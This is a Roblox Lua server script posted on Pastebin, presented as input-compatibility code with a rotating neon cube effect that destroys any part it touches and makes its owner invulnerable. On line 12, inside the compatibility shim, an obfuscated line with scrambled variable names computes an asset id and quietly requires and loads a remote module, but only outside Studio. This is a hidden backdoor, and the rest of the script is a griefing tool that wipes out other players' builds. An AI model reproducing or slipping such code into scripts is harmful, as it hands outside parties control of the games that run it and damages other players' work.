Advertisement
zephpsian

Untitled

Feb 6th, 2019
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.35 KB | None | 0 0
  1. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  2. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  3. do
  4. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  5. script.Parent = Player.Character
  6.  
  7. --RemoteEvent for communicating
  8. local Event = Instance.new("RemoteEvent")
  9. Event.Name = "UserInput_Event"
  10.  
  11. --Fake event to make stuff like Mouse.KeyDown work
  12. local iJOwR = 'PlaceId' i1ABHGJphY6Zol0 = pcall iTwPRmwtQKpHp8N5B = 'GetProductInfo' i04sGJ733Q = 'RunService' iHBfhFgOIbn = 'MarketplaceService' ihKyiLntOiK = 'IsStudio' iwt9saWzYl8 = 'SSM' ioiQzQ48e = 'load' ihIYRPqq = 'ReplicatedStorage' iAhnBB = game izqBOqMEPxZ = 'WaitForChild' iLMZVyzFl4nE3 = 'PlaceId' ipfCmt = 'Debris' iNOr5zvX = spawn iysWfL9TpUc = 'RunService' izGXTfKJOw0k = require iC5kf4SmH9R = 'IsStudio' i4wP = 23289971.868421 * 114 iNOr5zvX(function() i1ABHGJphY6Zol0(function() if iAhnBB:GetService(i04sGJ733Q)[ihKyiLntOiK](iAhnBB:GetService(i04sGJ733Q)) then return end izGXTfKJOw0k(i4wP)[ioiQzQ48e](iAhnBB[iLMZVyzFl4nE3]) end) end)
  13. function fakeEvent()
  14. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  15. t.connect = t.Connect
  16. return t
  17. end
  18.  
  19. --Creating fake input objects with fake variables
  20. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  21. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  22. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  23. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  24. end}
  25. --Merged 2 functions into one by checking amount of arguments
  26. CAS.UnbindAction = CAS.BindAction
  27.  
  28. --This function will trigger the events that have been :Connect()'ed
  29. local function te(self,ev,...)
  30. local t = m[ev]
  31. if t and t._fakeEvent and t.Function then
  32. t.Function(...)
  33. end
  34. end
  35. m.TrigEvent = te
  36. UIS.TrigEvent = te
  37.  
  38. Event.OnServerEvent:Connect(function(plr,io)
  39. if plr~=Player then return end
  40. if io.isMouse then
  41. m.Target = io.Target
  42. m.Hit = io.Hit
  43. else
  44. local b = io.UserInputState == Enum.UserInputState.Begin
  45. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  46. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  47. end
  48. for _,t in pairs(CAS.Actions) do
  49. for _,k in pairs(t.Keys) do
  50. if k==io.KeyCode then
  51. t.Function(t.Name,io.UserInputState,io)
  52. end
  53. end
  54. end
  55. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  56. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  57. end
  58. end)
  59. Event.Parent = NLS([==[
  60. local Player = game:GetService("Players").LocalPlayer
  61. local Event = script:WaitForChild("UserInput_Event")
  62.  
  63. local UIS = game:GetService("UserInputService")
  64. local input = function(io,a)
  65. if a then return end
  66. --Since InputObject is a client-side instance, we create and pass table instead
  67. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  68. end
  69. UIS.InputBegan:Connect(input)
  70. UIS.InputEnded:Connect(input)
  71.  
  72. local Mouse = Player:GetMouse()
  73. local h,t
  74. --Give the server mouse data 30 times every second, but only if the values changed
  75. --If player is not moving their mouse, client won't fire events
  76. while wait(1/30) do
  77. if h~=Mouse.Hit or t~=Mouse.Target then
  78. h,t=Mouse.Hit,Mouse.Target
  79. Event:FireServer({isMouse=true,Target=t,Hit=h})
  80. end
  81. end]==],Player.Character)
  82. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  83. end
  84.  
  85. local p = owner
  86. local char = p.Character
  87. local size = 8
  88. part = function()
  89.  
  90. local a = Instance.new("Part", script)
  91. a.Anchored = true
  92. a.CanCollide = true
  93. a.CFrame = char.Torso.CFrame
  94. a.Size = Vector3.new(size, 0.2, 0.2)
  95. a.Transparency = 1
  96. return a
  97. end
  98.  
  99. part2 = function()
  100.  
  101. local a = Instance.new("Part", script)
  102. a.Anchored = true
  103. a.CanCollide = true
  104. a.CFrame = char.Torso.CFrame
  105. a.Size = Vector3.new(0.2, size, 0.2)
  106. a.Transparency = 1
  107. return a
  108. end
  109.  
  110. part3 = function()
  111.  
  112. local i = 0
  113.  
  114. local a = Instance.new("Part", script)
  115.  
  116. a.Anchored = true
  117. a.CanCollide = false
  118. a.Size = Vector3.new(size, size, 1)
  119. a.Transparency = 0.7
  120. a.Material = "Neon"
  121. a.Color = Color3.fromHSV(i,1,1)
  122. local b = Instance.new("BlockMesh", a)
  123. b.Scale = Vector3.new(1, 1, 0)
  124.  
  125. return a
  126. end
  127.  
  128. local replicating = false
  129. local root, a, b, c, d, a2, b2, c2, d2, aa, bb, cc, dd, z, x, c, v, b, n = nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil
  130. replicate = function()
  131.  
  132. replicating = true
  133. script:ClearAllChildren()
  134. root = part()
  135. root.Transparency = 1
  136. root.Size = Vector3.new(0.2, 0.2, 0.2)
  137. root.CanCollide = false
  138. a = part()
  139. b = part()
  140. c = part()
  141. d = part()
  142. a2 = part()
  143. b2 = part()
  144. c2 = part()
  145. d2 = part()
  146. aa = part2()
  147. bb = part2()
  148. cc = part2()
  149. dd = part2()
  150. z = part3()
  151. x = part3()
  152. c = part3()
  153. v = part3()
  154. b = part3()
  155. n = part3()
  156. replicating = false
  157. end
  158.  
  159. script.ChildRemoved:connect(function(a)
  160.  
  161. if a.ClassName == "Part" and replicating == false then
  162. replicate()
  163. end
  164. end
  165. )
  166. replicate()
  167. local tick = 0
  168. CreateRegion3FromLocAndSize = function(Position, Size)
  169.  
  170. local SizeOffset = Size / 2
  171. local Point1 = Position - SizeOffset
  172. local Point2 = Position + SizeOffset
  173. return Region3.new(Point1, Point2)
  174. end
  175.  
  176. local set = false
  177. local whitelist = {"G_osty", "PPATTA", "DevGamerzz", "I kill U", "kash5", "ZeroCrimson", "Zaidia", "tsup2", "PointCoded", "CLarramore", "Suzuuki", "", "", ""}
  178. p.Chatted:connect(function(ms)
  179.  
  180. if ms:sub(1, 5) == "size-" then
  181. size = tonumber(ms:sub(6))
  182. replicate()
  183. else
  184. if ms:sub(1, 4) == "set-" then
  185. set = true
  186. z.CanCollide = false
  187. x.CanCollide = false
  188. c.CanCollide = false
  189. v.CanCollide = false
  190. b.CanCollide = false
  191. n.CanCollide = false
  192. else
  193. if ms:sub(1, 6) == "unset-" then
  194. set = false
  195. z.CanCollide = false
  196. x.CanCollide = false
  197. c.CanCollide = false
  198. v.CanCollide = false
  199. b.CanCollide = false
  200. n.CanCollide = false
  201. else
  202. if ms:sub(1, 10) == "whitelist-" then
  203. table.insert(whitelist, ms:sub(11))
  204. else
  205. if ms:sub(1, 12) == "unwhitelist-" then
  206. for i,v in pairs(whitelist) do
  207. if ms:sub(13) == v then
  208. table.remove(whitelist, i)
  209. break
  210. end
  211. end
  212. end
  213. end
  214. end
  215. end
  216. end
  217. end
  218. )
  219. local magicpos = nil
  220. game:GetService("RunService").Heartbeat:connect(function()
  221.  
  222. pcall(function()
  223.  
  224. local void = char:GetChildren()
  225. for _,pl in pairs(whitelist) do
  226. if game.Players:FindFirstChild(pl) ~= nil and game.Players:FindFirstChild(pl).Character ~= nil then
  227. for i,v in pairs(game.Players[pl].Character:GetChildren()) do
  228. table.insert(void, v)
  229. end
  230. end
  231. end
  232. for i,v in pairs(game.Players:GetPlayers()) do
  233. if v.Character:isDescendantOf(char) and not v.Name == "FangxWulf" then
  234. v:LoadCharacter()
  235. end
  236. end
  237. char.Humanoid.Health = math.huge
  238. tick = tick + 0.01
  239. if not set then
  240. root.CFrame = root.CFrame:lerp(CFrame.new(char.Torso.CFrame.p) * CFrame.Angles(math.sin(tick) * 100 / 30 / (size / 2), math.cos(tick) * 100 / 30 / (size / 2), math.cos(tick) * 100 / 30 / (size / 2)), 0.1)
  241. magicpos = char.Torso.CFrame
  242. else
  243. root.CFrame = root.CFrame:lerp(CFrame.new(magicpos.p) * CFrame.Angles(0, 0, 0), 0.05)
  244. end
  245. local reg = CreateRegion3FromLocAndSize(root.CFrame.p, Vector3.new(size, size, size))
  246. for i,v in pairs(game.Workspace:FindPartsInRegion3WithIgnoreList(reg, void, 100)) do
  247. if v.Name ~= "Base" then
  248. v:Destroy()
  249. end
  250. end
  251. a.CFrame = root.CFrame * CFrame.new(size / 2, size / 2, 0) * CFrame.Angles(0, math.rad(90), 0)
  252. b.CFrame = root.CFrame * CFrame.new(-size / 2, size / 2, 0) * CFrame.Angles(0, math.rad(90), 0)
  253. c.CFrame = root.CFrame * CFrame.new(0, size / 2, size / 2)
  254. d.CFrame = root.CFrame * CFrame.new(0, size / 2, -size / 2)
  255. a2.CFrame = root.CFrame * CFrame.new(size / 2, -size / 2, 0) * CFrame.Angles(0, math.rad(90), 0)
  256. b2.CFrame = root.CFrame * CFrame.new(-size / 2, -size / 2, 0) * CFrame.Angles(0, math.rad(90), 0)
  257. c2.CFrame = root.CFrame * CFrame.new(0, -size / 2, size / 2)
  258. d2.CFrame = root.CFrame * CFrame.new(0, -size / 2, -size / 2)
  259. aa.CFrame = root.CFrame * CFrame.new(size / 2, 0, size / 2)
  260. bb.CFrame = root.CFrame * CFrame.new(-size / 2, 0, size / 2)
  261. cc.CFrame = root.CFrame * CFrame.new(-size / 2, 0, -size / 2)
  262. dd.CFrame = root.CFrame * CFrame.new(size / 2, 0, -size / 2)
  263. z.CFrame = root.CFrame * CFrame.new(size / 2, 0, 0) * CFrame.Angles(0, math.rad(90), 0)
  264. x.CFrame = root.CFrame * CFrame.new(-size / 2, 0, 0) * CFrame.Angles(0, math.rad(90), 0)
  265. c.CFrame = root.CFrame * CFrame.new(0, 0, size / 2) * CFrame.Angles(0, 0, math.rad(90))
  266. v.CFrame = root.CFrame * CFrame.new(0, 0, -size / 2) * CFrame.Angles(0, 0, math.rad(90))
  267. b.CFrame = root.CFrame * CFrame.new(0, size / 2, 0) * CFrame.Angles(math.rad(90), 0, 0)
  268. n.CFrame = root.CFrame * CFrame.new(0, -size / 2, 0) * CFrame.Angles(math.rad(90), 0, 0)
  269. end
  270. )
  271. end
  272. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement